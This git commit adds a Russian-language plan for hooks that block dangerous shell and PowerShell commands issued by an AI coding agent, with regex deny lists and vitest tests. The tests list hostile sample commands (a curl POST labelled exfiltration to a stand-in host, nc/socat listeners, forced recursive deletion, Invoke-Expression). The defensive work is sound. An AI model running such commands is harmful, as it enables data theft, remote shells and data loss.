docs(m7): план реализации — мастер (фазы 0-8) + Фаза 1 (content-floor) детально

writing-plans по поправленной спеке М7. Scope-check: 9 подсистем →
dependency-ordered фазы 0-8. Фаза 1 (content-floor V1/V1-PS — критический
корень переезда, §10 запрещает увольнять router-gate до неё) в полной
bite-sized TDD-детализации (Task 1.0-1.6 с кодом); фазы 0,2-8 scoped,
разворачиваются в bite-sized при подходе. Self-review: spec coverage полон,
type-consistency проверена. Исполнение — инлайн (субагенты запрещены владельцем).
This commit is contained in:
Дмитрий
2026-06-08 07:53:03 +03:00
parent b98b18850a
commit 8ba9a21c9c
@@ -0,0 +1,468 @@
# Машина 7 — Implementation Plan (мастер + Фаза 1 детально)
> **For agentic workers:** REQUIRED SUB-SKILL: владелец запретил субагентов/Task/Workflow → исполнять ИНЛАЙН через `superpowers:executing-plans` (batch с чекпойнтами). Steps — checkbox (`- [ ]`).
**Goal:** Растворить дисциплинарный «зоопарк» v4 в машины М1–М6, сделав дисциплину непробиваемой и атрибутируемой (промис §1 спеки), затем атомарно переехать с зоопарка на М1–М6.
**Architecture:** М7 — не новый слой, а перенос дисциплины внутрь существующих М1–М6 + закрытие 4 находок критического разбора (content-floor V1/V1-PS, escape-survivability SE-I/L6, журнал-K2 SE-C/SE-K, normative build-loop SE-D). Каждая фаза — самостоятельно тестируемая, TDD RED→GREEN, регрессия ≥ 2843+2 skip. Переезд (Фаза 8) — последним, шаг владельца (settings.json Claude'у закрыт).
**Tech Stack:** Node ESM (`tools/*.mjs`), vitest (tools-only config), хук-контракт Claude Code (PreToolUse/PostToolUse/Stop/SessionStart), HMAC-подпись (receipt-sign), pure-core + thin-main паттерн.
**Спец-источник:** `docs/superpowers/specs/2026-06-08-router-mentor-machine-7-design.md` (поправленная, §13 changelog).
**Квирки исполнения (подтверждены М1–М7):**
- vitest — через **Bash**, ОДНА абсолютная команда: `node "<wt>\app\node_modules\vitest\vitest.mjs" run --root "<wt>\app" --config "<wt>\app\vitest.config.tools.mjs" [фильтр] --reporter dot`
- git — через **PowerShell**, по одной команде, литеральные пути, БЕЗ переменных; коммит `git -C "<wt>" commit -F "<wt>\.scratch\msg.txt"`; «Can't find lefthook in PATH» — шум.
- worktree junction: пути от родителя «Документация» с префиксом `.claude/worktrees/brainrepo/...`.
- `<wt>` = `c:\моя\проекты\портал crm\Документация\.claude\worktrees\brainrepo`
---
## Граф фаз и зависимости
```
Фаза 0 fail-CLOSE-карвут + escape-survivability примитивы (тотальные canonicalAction/normalize)
│ (фундамент: на нём стоят все fail-CLOSE дисциплины и живучесть escape)
Фаза 1 ✦ content-floor (правило 8, V1/V1-PS) ← КРИТИЧНО, корень переезда
│ (без неё §10 запрещает увольнять router-gate/powershell-gate)
Фаза 2 escape-survivability полная (panic-ветка + escape-honor в remaining-стражах, L6)
│ (до big-bang: глюк fail-CLOSE должен быть восстановим)
Фаза 3 skill-журналер (PostToolUse) + seed-allow реактивных навыков (SE-K)
│ (журнал-K2 М4 зависит от этого)
Фаза 4 поглощение поведенческой дисциплины в М4 (coverage/todowrite/decomposition/
│ rationalization/self-debrief через журнал-K2 + Гейт-2/Гейт-3)
Фаза 5 normative-канал КАРТА/ЗАКОН + build-loop-различитель (Кусок 2, SE-D)
Фаза 6 доска «кто на посту» + манифест полного набора М1–М6 (Кусок 3, SE-B)
Фаза 7 ИИ-проводка судьи М4 (§8) — обёртка enforce-judge-gate live, ключ/флаг (шаг владельца)
Фаза 8 карты покрытия §5 + тест-гейт §9.2 + увольнения §10 + БОЛЬШОЙ ПЕРЕЕЗД §9.3 (владелец)
```
**Правило перехода между фазами:** фаза закрыта ТОЛЬКО при зелёной регрессии tools-only ≥ baseline и зелёном per-phase smoke. `audit-context-building` ОБЯЗАТЕЛЕН перед правкой каждого существующего модуля.
**Каждая фаза 0,2–8 — отдельный детальный bite-sized план** (пишется при подходе через `superpowers:writing-plans`). Ниже — Фаза 1 в полной детализации + scoped-карты остальных.
---
## ФАЗА 1 — Content-floor (правило 8 §4.1, V1/V1-PS) — ДЕТАЛЬНО
**Зачем:** стена М2 проверяет лишь членство-в-плане, пол М5 — лишь необратимость. Опасное-по-содержанию (произвольное исполнение `node -e`/`bash -c`, install, egress `curl`/`wget`/`nc`, redirect) как шаг плана проскальзывает (V1); PowerShell пол не смотрит вообще (V1-PS, реоткрытие v3.8 F1). Фаза 1 добавляет в пол **content-block класс**, рубящий по содержанию независимо от плана (escape по-прежнему снимает — owner-санкция).
**Дизайн-решения (locked):**
- Bash content-block regexes живут в `classify-destructive.mjs` (Δ9-б «единый источник правды по разрушительным regex» — не плодим второй модуль для Bash). Новое поле `contentBlock` рядом с `floor`/`suspicious`.
- PowerShell — отдельный модуль `tools/powershell-destructive.mjs` (PS-нативные глаголы НЕ матчат unix-regex).
- `floor-decide.mjs` зовёт content-block ПЕРВЫМ (до проверки необратимости), для Bash и PowerShell; escape снимает блок в обеих ветках.
- Порт из `enforce-router-gate.mjs::BASH_HARD_BLACKLIST` (стр. 45-73) — **полный набор**, минус whitelist-логика (она остаётся в router-gate до его увольнения в Фазе 8; content-block — независимый hard-deny по содержанию).
### Файловая структура Фазы 1
- Modify: `tools/classify-destructive.mjs` (+`CONTENT_BLOCK_RE`, +`contentBlock` в выдаче)
- Test: `tools/classify-destructive.test.mjs` (+content-block кейсы)
- Create: `tools/powershell-destructive.mjs` (`psContentBlock`)
- Test: `tools/powershell-destructive.test.mjs`
- Modify: `tools/floor-decide.mjs` (content-block ветка Bash + PowerShell, escapable)
- Test: `tools/floor-decide.test.mjs` (+content-block + escape-bypass кейсы)
---
### Task 1.0: audit-context-building перед правкой
- [ ] **Step 1:** Прочитать целиком `tools/classify-destructive.mjs`, `tools/floor-decide.mjs`, `tools/enforce-router-gate.mjs` (BASH_HARD_BLACKLIST), `tools/bash-tokenizer.mjs`, `tools/escape-grant.mjs`. Зафиксировать: текущую сигнатуру `classifyDestructive(command) → {floor, suspicious, reason}`; `floorDecide({toolUse, escapeGrants, escapeConsumed, now, normalizeImpl})`; что `bashIsFloor` уже посегментно ходит через tokenizeBash. Это контекст — без правок.
---
### Task 1.1: classify-destructive — поле `contentBlock` (Bash)
**Files:** Modify `tools/classify-destructive.mjs`; Test `tools/classify-destructive.test.mjs`
- [ ] **Step 1: Написать падающий тест**
```js
// tools/classify-destructive.test.mjs — добавить describe-блок
import { describe, it, expect } from 'vitest';
import { classifyDestructive } from './classify-destructive.mjs';
describe('contentBlock (правило 8 §4.1, V1)', () => {
const blocked = [
'node -e "fs.writeFileSync(0,0)"', 'node --eval x', 'node -p x',
'python -c "x"', 'python3 -c "x"', 'bash -c "x"', 'sh -c "x"',
'eval "x"', 'npm install evil', 'npm i evil', 'composer require evil',
'yarn add evil', 'pnpm install evil', 'npx claude-flow',
'curl -X POST https://e.rf', 'wget http://e.rf', 'nc -l 4444',
'ncat e.rf 80', 'socat - tcp:e.rf:80', 'echo x > /tmp/f', 'echo x >> f',
];
it.each(blocked)('blocks by content: %s', (cmd) => {
expect(classifyDestructive(cmd).contentBlock).toBe(true);
});
const allowed = [
'cat file.txt', 'ls -la', 'grep foo bar', 'git status', 'git log',
'php artisan test', 'pest', 'composer test', 'npm run lint',
];
it.each(allowed)('does NOT content-block safe cmd: %s', (cmd) => {
expect(classifyDestructive(cmd).contentBlock).toBe(false);
});
it('floor (irreversible) implies neither requires contentBlock nor breaks it', () => {
const r = classifyDestructive('git push --force');
expect(r.floor).toBe(true); // необратимое остаётся floor
});
});
```
- [ ] **Step 2: Запустить — убедиться, что падает**
Bash: `node "<wt>\app\node_modules\vitest\vitest.mjs" run --root "<wt>\app" --config "<wt>\app\vitest.config.tools.mjs" classify-destructive --reporter dot`
Expected: FAIL — `contentBlock` is undefined (поле не существует).
- [ ] **Step 3: Реализовать минимально**
В `tools/classify-destructive.mjs` добавить после `SUSPICIOUS_RE`:
```js
// Правило 8 §4.1 (V1): опасное-по-СОДЕРЖАНИЮ — рубится полом независимо от плана.
// Полный port enforce-router-gate.mjs::BASH_HARD_BLACKLIST (без whitelist-логики).
const CONTENT_BLOCK_RE = [
/\b(?:node|nodejs)\s+(?:[^|;]*\s)?(?:-e|--eval|-p|--print)\b/,
/\bnode\s+(?:[^|;]*\s)?(?:-r|--require|--import|--experimental-loader)\b/,
/\bpython3?\s+-c\b/,
/\b(?:bash|sh)\s+-c\b/,
/(^|\s|;|&&|\|\|)eval\b/,
/\bcomposer\s+(?:install|update|require|remove)\b/,
/\bnpm\s+(?:install|i|update|remove|uninstall)\b/,
/\b(?:yarn|pnpm)\s+(?:add|install|remove)\b/,
/\bnpx\s+claude-/,
/\bcurl\b[^|;]*-X\s*(?:POST|PUT|DELETE|PATCH)\b/i,
/\bwget\b/,
/(^|\s|;|&&|\|\|)(?:nc|ncat|netcat)\b/,
/(^|\s|;|&&|\|\|)socat\b/,
/(?:^|[^0-9>&])>{1,2}(?![>&])/, // stdout redirect >/>>
];
```
И в `classifyDestructive` дополнить выдачу:
```js
export function classifyDestructive(command) {
const cmd = String(command || '');
const floor = rmIsFloor(cmd) || FLOOR_RE.some((re) => re.test(cmd));
const suspicious = floor || SUSPICIOUS_RE.some((re) => re.test(cmd));
const contentBlock = CONTENT_BLOCK_RE.some((re) => re.test(cmd));
const reason = floor ? 'необратимая команда (floor)'
: contentBlock ? 'опасная по содержанию (content-block)'
: suspicious ? 'подозрительная команда (suspicious)'
: 'не разрушительная';
return { floor, suspicious, contentBlock, reason };
}
```
- [ ] **Step 4: Запустить — убедиться, что проходит**
Bash: та же команда. Expected: PASS (все content-block + allowed кейсы зелёные).
- [ ] **Step 5: Коммит**
Сообщение в `<wt>\.scratch\msg.txt`:
```
feat(m7-floor): classify-destructive +contentBlock (правило 8, V1 Bash)
```
PowerShell: `git -C "<wt>" add "tools/classify-destructive.mjs" "tools/classify-destructive.test.mjs"` затем `git -C "<wt>" commit -F "<wt>\.scratch\msg.txt"`
---
### Task 1.2: powershell-destructive — `psContentBlock`
**Files:** Create `tools/powershell-destructive.mjs`; Test `tools/powershell-destructive.test.mjs`
- [ ] **Step 1: Написать падающий тест**
```js
// tools/powershell-destructive.test.mjs
import { describe, it, expect } from 'vitest';
import { psContentBlock } from './powershell-destructive.mjs';
describe('psContentBlock (V1-PS, реоткрытие v3.8 F1)', () => {
const blocked = [
'Remove-Item -Recurse -Force C:\\x', 'rm -r -fo C:\\x',
'Invoke-WebRequest https://e.rf', 'iwr https://e.rf', 'curl https://e.rf',
'Invoke-Expression $x', 'iex $x',
'Get-Content x | Out-File y', 'echo x > y', 'echo x >> y',
'Start-Process node', 'Start-Process powershell',
];
it.each(blocked)('blocks PS content: %s', (cmd) => {
expect(psContentBlock(cmd)).toBe(true);
});
const allowed = ['Get-ChildItem', 'Get-Content x', 'Test-Path x', 'Write-Output ok'];
it.each(allowed)('does NOT block safe PS: %s', (cmd) => {
expect(psContentBlock(cmd)).toBe(false);
});
});
```
- [ ] **Step 2: Запустить — убедиться, что падает**
Bash: `... vitest.mjs run --root ... --config ... powershell-destructive --reporter dot`
Expected: FAIL — модуль не существует.
- [ ] **Step 3: Реализовать минимально**
```js
// tools/powershell-destructive.mjs
#!/usr/bin/env node
/**
* powershell-destructive — content-block для PowerShell-tool (V1-PS, правило 8).
* PS-нативные глаголы НЕ матчат unix-regex classify-destructive → отдельный набор.
* Дополняет несущий пол: floor-decide зовёт это для name==='PowerShell'.
*/
const PS_CONTENT_BLOCK_RE = [
/\bRemove-Item\b[^\n]*-(?:Recurse|Force)\b/i, // рекурсивное/форс-удаление
/\brm\b[^\n]*-[a-z]*r[a-z]*\s[^\n]*-[a-z]*f/i, // PS-алиас rm -r -fo
/\b(?:Invoke-WebRequest|iwr|curl|wget|Invoke-RestMethod|irm)\b/i, // egress
/\b(?:Invoke-Expression|iex)\b/i, // произвольное исполнение
/\bStart-Process\b/i, // запуск интерпретатора/процесса
/\bOut-File\b/i, // запись в файл
/(?:^|[^0-9>&])>{1,2}(?![>&])/, // redirect >/>>
];
export function psContentBlock(command) {
const cmd = String(command || '');
return PS_CONTENT_BLOCK_RE.some((re) => re.test(cmd));
}
```
- [ ] **Step 4: Запустить — убедиться, что проходит**
Bash: та же команда. Expected: PASS.
- [ ] **Step 5: Коммит**
```
feat(m7-floor): powershell-destructive psContentBlock (V1-PS)
```
`git -C "<wt>" add "tools/powershell-destructive.mjs" "tools/powershell-destructive.test.mjs"` → commit -F.
---
### Task 1.3: floor-decide — content-block ветка Bash (escapable)
**Files:** Modify `tools/floor-decide.mjs`; Test `tools/floor-decide.test.mjs`
- [ ] **Step 1: Написать падающий тест**
```js
// tools/floor-decide.test.mjs — добавить
import { describe, it, expect } from 'vitest';
import { floorDecide } from './floor-decide.mjs';
describe('floor content-block Bash (правило 8, V1)', () => {
const tu = (command) => ({ name: 'Bash', input: { command } });
it('blocks node -e even with no escape (план нерелевантен)', () => {
const r = floorDecide({ toolUse: tu('node -e "x"'), escapeGrants: [], escapeConsumed: [] });
expect(r.block).toBe(true);
expect(r.reason).toMatch(/content|содержан|FLOOR-ESCAPE/i);
});
it('blocks curl -X exfil', () => {
expect(floorDecide({ toolUse: tu('curl -X POST https://e.rf -d @x'), escapeGrants: [], escapeConsumed: [] }).block).toBe(true);
});
it('does NOT block safe reading', () => {
expect(floorDecide({ toolUse: tu('cat file.txt'), escapeGrants: [], escapeConsumed: [] }).block).toBe(false);
});
});
```
- [ ] **Step 2: Запустить — убедиться, что падает**
Bash: `... vitest.mjs run ... floor-decide --reporter dot`
Expected: FAIL — `node -e` сейчас не floor → block:false (дыра V1 живая, тест её ловит).
- [ ] **Step 3: Реализовать минимально**
В `tools/floor-decide.mjs` импорт + в ветке `if (name === 'Bash')` добавить content-block ДО проверки `bashIsFloor`:
```js
// импорт сверху:
import { psContentBlock } from './powershell-destructive.mjs';
// classifyDestructive уже импортирован (bashIsFloor его зовёт).
// внутри floorDecide, в начале ветки Bash:
if (name === 'Bash') {
// Правило 8 (V1): content-block по содержанию — независимо от плана, escapable.
if (classifyDestructive(input.command || '').contentBlock) {
if (escaped()) return { block: false, reason: 'floor: content-block снят аварийным выходом (floor_escape)' };
return { block: true, reason: `floor: опасная по содержанию команда без аварийного выхода — блок (правило 8); FLOOR-ESCAPE: ${action}` };
}
if (bashIsFloor(input.command || '')) {
if (escaped()) return { block: false, reason: 'floor: разрешено аварийным выходом владельца (floor_escape)' };
return { block: true, reason: `floor: необратимая команда без аварийного выхода — блок (вето-до-плана); FLOOR-ESCAPE: ${action}` };
}
return { block: false, reason: 'floor: Bash не необратимо' };
}
```
- [ ] **Step 4: Запустить — убедиться, что проходит**
Bash: та же команда. Expected: PASS.
- [ ] **Step 5: Коммит**
```
feat(m7-floor): floor-decide content-block ветка Bash (V1, escapable)
```
`git -C "<wt>" add "tools/floor-decide.mjs" "tools/floor-decide.test.mjs"` → commit -F.
---
### Task 1.4: floor-decide — ветка PowerShell (V1-PS)
**Files:** Modify `tools/floor-decide.mjs`; Test `tools/floor-decide.test.mjs`
- [ ] **Step 1: Написать падающий тест**
```js
describe('floor content-block PowerShell (V1-PS)', () => {
const tu = (command) => ({ name: 'PowerShell', input: { command } });
it('blocks Remove-Item -Recurse -Force without escape', () => {
const r = floorDecide({ toolUse: tu('Remove-Item -Recurse -Force C:\\x'), escapeGrants: [], escapeConsumed: [] });
expect(r.block).toBe(true);
});
it('blocks Invoke-WebRequest exfil', () => {
expect(floorDecide({ toolUse: tu('Invoke-WebRequest https://e.rf'), escapeGrants: [], escapeConsumed: [] }).block).toBe(true);
});
it('does NOT block Get-ChildItem', () => {
expect(floorDecide({ toolUse: tu('Get-ChildItem'), escapeGrants: [], escapeConsumed: [] }).block).toBe(false);
});
});
```
- [ ] **Step 2: Запустить — убедиться, что падает**
Expected: FAIL — PowerShell сейчас уходит в write-path-ветку (нет пути → block:false), Remove-Item проходит (V1-PS дыра).
- [ ] **Step 3: Реализовать минимально**
В `floor-decide.mjs` добавить ветку PowerShell ПОСЛЕ Bash-ветки, ДО OBSERVE_TOOLS:
```js
if (name === 'PowerShell') {
if (psContentBlock(input.command || '')) {
if (escaped()) return { block: false, reason: 'floor: PS content-block снят аварийным выходом (floor_escape)' };
return { block: true, reason: `floor: опасная PowerShell-команда без аварийного выхода — блок (правило 8, V1-PS); FLOOR-ESCAPE: ${action}` };
}
return { block: false, reason: 'floor: PowerShell не опасно по содержанию' };
}
```
- [ ] **Step 4: Запустить — убедиться, что проходит**
Expected: PASS.
- [ ] **Step 5: Коммит**
```
feat(m7-floor): floor-decide ветка PowerShell content-block (V1-PS)
```
---
### Task 1.5: Escape снимает content-block (Bash + PS) — инвариант
**Files:** Test `tools/floor-decide.test.mjs` (+escape-bypass); код уже escapable из 1.3/1.4 — тест фиксирует инвариант.
- [ ] **Step 1: Написать тест (должен СРАЗУ пройти — код уже escapable; тест защищает инвариант от регресса)**
```js
import { canonicalAction } from './escape-grant.mjs';
describe('escape снимает content-block (owner-санкция)', () => {
it('Bash node -e проходит при свежем гранте точного canonicalAction', () => {
const tu = { name: 'Bash', input: { command: 'node -e "x"' } };
const action = canonicalAction(tu.name, tu.input);
const now = 1_000_000;
const r = floorDecide({ toolUse: tu, escapeGrants: [{ action, ts: now }], escapeConsumed: [], now });
expect(r.block).toBe(false);
});
it('PowerShell Remove-Item проходит при гранте', () => {
const tu = { name: 'PowerShell', input: { command: 'Remove-Item -Recurse -Force C:\\x' } };
const action = canonicalAction(tu.name, tu.input);
const now = 1_000_000;
const r = floorDecide({ toolUse: tu, escapeGrants: [{ action, ts: now }], escapeConsumed: [], now });
expect(r.block).toBe(false);
});
});
```
- [ ] **Step 2: Запустить**
Expected: PASS сразу (escaped() уже в обеих ветках). Если FAIL — canonicalAction для PowerShell даёт иную строку, чем floorDecide вычисляет → проверить, что обе зовут `canonicalAction(name, input)` идентично (floorDecide: `action = canonicalAction(name, input, {normalizeImpl})`). Выровнять.
- [ ] **Step 3: Коммит**
```
test(m7-floor): инвариант escape снимает content-block (Bash+PS)
```
---
### Task 1.6: Регрессия Фазы 1 + per-phase smoke
- [ ] **Step 1: Полная регрессия tools-only**
Bash: `node "<wt>\app\node_modules\vitest\vitest.mjs" run --root "<wt>\app" --config "<wt>\app\vitest.config.tools.mjs" --reporter dot`
Expected: ≥ **2843 passed + 2 skip** + новые content-block тесты (Фаза 1 добавляет ~40). 0 regressions.
- [ ] **Step 2: Smoke — дыра V1 закрыта**
Подтвердить в выводе: `floor-decide` тесты «blocks node -e / curl / Remove-Item even with no escape» зелёные; «safe reading НЕ блокируется» зелёные. Это и есть доказательство закрытия V1/V1-PS.
- [ ] **Step 3: Финальный коммит фазы (если оставались несакоммиченные правки)**
```
chore(m7-floor): Фаза 1 закрыта — content-floor V1/V1-PS, регрессия GREEN
```
**Acceptance Фазы 1:** опасное-по-содержанию (Bash + PowerShell) рубится полом независимо от плана; safe-reading не over-блокируется; escape снимает; регрессия ≥ baseline. → разблокирует увольнение router-gate/powershell-gate в Фазе 8.
---
## ФАЗЫ 0, 2–8 — scoped (разворачиваются в bite-sized при подходе)
### Фаза 0 — fail-CLOSE-карвут + escape-survivability примитивы
**Спека:** §4.1 правило 1 + правило 7(а). **Файлы:** `enforce-hook-helpers.mjs` (карвут «дисциплина fail-CLOSE, наблюдение fail-quiet» — уточнить контракт :7 + хелпер `exitDisciplineDecision` с fail-CLOSE-дефолтом), `escape-grant.mjs::canonicalAction` (обернуть `normalizeCommand` в try → тотальность), `path-normalization.mjs` (тотальность). **Acceptance:** тест «дисциплинарный хелпер на ошибке → block (не quiet)»; «canonicalAction на любом мусоре не бросает». **Ключевой риск:** не перевести наблюдательные хуки (observer/cost) в fail-CLOSE — только дисциплинарное подмножество.
### Фаза 2 — escape-survivability полная (SE-I/L6)
**Спека:** §4.1 правило 7(б,в) + §6 escape-honor. **Файлы:** `enforce-floor.mjs`/`enforce-supreme-gate.mjs` (panic-ветка: escape оценивается до любой бросающей логики — уже почти так в supreme-gate G-1α, проверить ordering), `enforce-read-path-deny.mjs` + `enforce-mcp-classification.mjs` + `enforce-normative-content-rules.mjs` (+чтение escape-гранта `escapeGrantOpen` перед block). **Acceptance:** тест «страж бросает на входе → escape всё равно оценён → escaped-действие проходит»; «escaped-правка ЗАКОНА через normative-content-rules проходит». **Риск:** escape-honor не должен ослаблять стражей для не-escaped действий.
### Фаза 3 — skill-журналер + seed-allow реактивных навыков (SE-K)
**Спека:** §4.2 + §12. **Файлы:** Create `tools/enforce-skill-journaler.mjs` (PostToolUse на Skill → `journalAppend` op=Skill, object=skill-name, независимо от плана), Modify `enforce-supreme-gate.mjs::SEED_SKILLS` (+`systematic-debugging`/`test-driven-development`/`requesting-code-review`/`verification-before-completion`). **Acceptance:** тест «seed/ad-hoc Skill-вызов → в action-journal → `skillTakenByJournal` его видит». **Риск:** не задвоить запись (если стена тоже журналит plan-step Skill — дедуп по seq/ts).
### Фаза 4 — поглощение поведенческой дисциплины в М4
**Спека:** §4.2 таблица (строки coverage/todowrite/decomposition/rationalization/self-debrief/plan/verify). **Файлы:** `judge-gate-floor.mjs` (journal-K2 уже есть `skillTakenByJournal`; добить Гейт-2 план-требование + Гейт-3 verify-привязка), `judge-orchestrator.mjs` (D31 пост-оценщик + halt-counter), новые PreToolUse-обёртки для Pre-дисциплины (todowrite/plan/действие-в-плане), Stop-обёртки для Stop-дисциплины (decomposition/rationalization). **Acceptance:** per-строка §4.2 — тест что дисциплина ловится журнал-фактом, не текстом; `[Pre]` строго PreToolUse. **Риск:** самый большой объём; разнести на под-фазы 4a (Pre) / 4b (Stop) / 4c (Гейты).
### Фаза 5 — normative-канал КАРТА/ЗАКОН + build-loop (SE-D)
**Спека:** §6. **Файлы:** Create `tools/normative-classifier.mjs` (детерминированный КАРТА/ЗАКОН по пути+содержимому; build-loop-различитель через `actionMatchesStep` против замороженного плана), интеграция в `enforce-normative-content-rules.mjs` (ЗАКОН без плана-покрытия → требовать escape). **Acceptance:** тест «правка enforce-*.mjs под план-шагом → КАРТА (не escape)»; «ad-hoc правка enforce-*.mjs → ЗАКОН (escape)»; «правка Pravila → ЗАКОН». **Риск:** граница содержимого (секция правил в произвольном файле) — консервативно: сомнение → ЗАКОН.
### Фаза 6 — доска + манифест (SE-B)
**Спека:** §7. **Файлы:** `floor-manifest-check.mjs::DEFAULT_REQUIRED_HOOKS` (+`enforce-judge-gate`/`enforce-snapshot`/`enforce-floor-escape-consume`/`enforce-skill-journaler`), `status-md-generator` / observer (секция «кто на посту» + режим судьи inert/shadow/live-block). **Acceptance:** тест «снят М4/М6-хук → манифест cry»; «доска показывает режим судьи». **Риск:** доска read-only, не блокирует.
### Фаза 7 — ИИ-проводка судьи М4 (§8)
**Спека:** §8. **Файлы:** `enforce-judge-gate.mjs` (live main вместо инертного, гейт флаг+ключ), `judge-key-config.mjs` (OS-keychain). **Шаг владельца:** env-флаг + ключ + регистрация. **Acceptance:** при выкл — $0 (тест decide inactive→block:false); при вкл-shadow — логирует не блокирует; live-block отдельным шагом. **Риск:** over-block (урок L4) — D28 тихий период рекомендован.
### Фаза 8 — карты покрытия §5 + тест-гейт §9.2 + увольнения §10 + ПЕРЕЕЗД §9.3
**Спека:** §5/§9/§10. **Действия:** построить per-страж карты покрытия (артефакты-доказательства); прогнать тест-гейт §9.2 (регрессия ≥ baseline + per-machine smokes + интеграционные: escape сквозной / манифест кричит / закон требует ключ / журнал-факт не обходится текстом); **владелец** атомарно регистрирует М1–М6 + снимает зоопарк в settings.json; откат §9.4 наготове. **Acceptance:** все пункты тест-гейта зелёные ПО КАЖДОМУ — иначе переезд не делаем. **Риск:** big-bang (принят владельцем) — митигация тест-гейт + откат + опц. тихий период.
---
## Self-Review (по чеклисту writing-plans)
**1. Spec coverage:** §1 промис → Фазы 1/2/7 (П1/П2/П3) ✓; §4.1 правила 1-8 → Фазы 0(1,7)/1(8)/2(7)/3-4(2-6) ✓; §4.2 таблица → Фаза 4 ✓; §5 карты → Фаза 8 ✓; §6 normative → Фаза 5 ✓; §7 доска → Фаза 6 ✓; §8 судья → Фаза 7 ✓; §9 переезд → Фаза 8 ✓; §10 увольнения → Фаза 8 (после Фазы 1) ✓; §12 инвентарь → распределён по фазам ✓; §13 closures → V1 Фаза1 / SE-I+L6 Фаза2 / SE-C+SE-K Фаза3-4 / SE-D Фаза5 / SE-A Фаза4 / SE-B Фаза6 ✓.
**2. Placeholder scan:** Фаза 1 — полный код в каждом шаге, без TBD ✓. Фазы 0,2-8 — осознанно scoped (scope-check скила: per-subsystem планы), не placeholder, а явная декомпозиция; каждая разворачивается в bite-sized при подходе.
**3. Type consistency:** `classifyDestructive(cmd) → {floor, suspicious, contentBlock, reason}` (1.1) используется в `floor-decide` (1.3) консистентно; `psContentBlock(cmd)→bool` (1.2) в floor-decide PowerShell-ветке (1.4); `canonicalAction(name,input)` идентично в escape-grant и floor-decide (1.5). ✓
**Известное допущение для исполнителя:** регексы content-block — порт из `BASH_HARD_BLACKLIST`; при увольнении router-gate (Фаза 8) `classify-destructive::CONTENT_BLOCK_RE` становится единственным домом этих правил.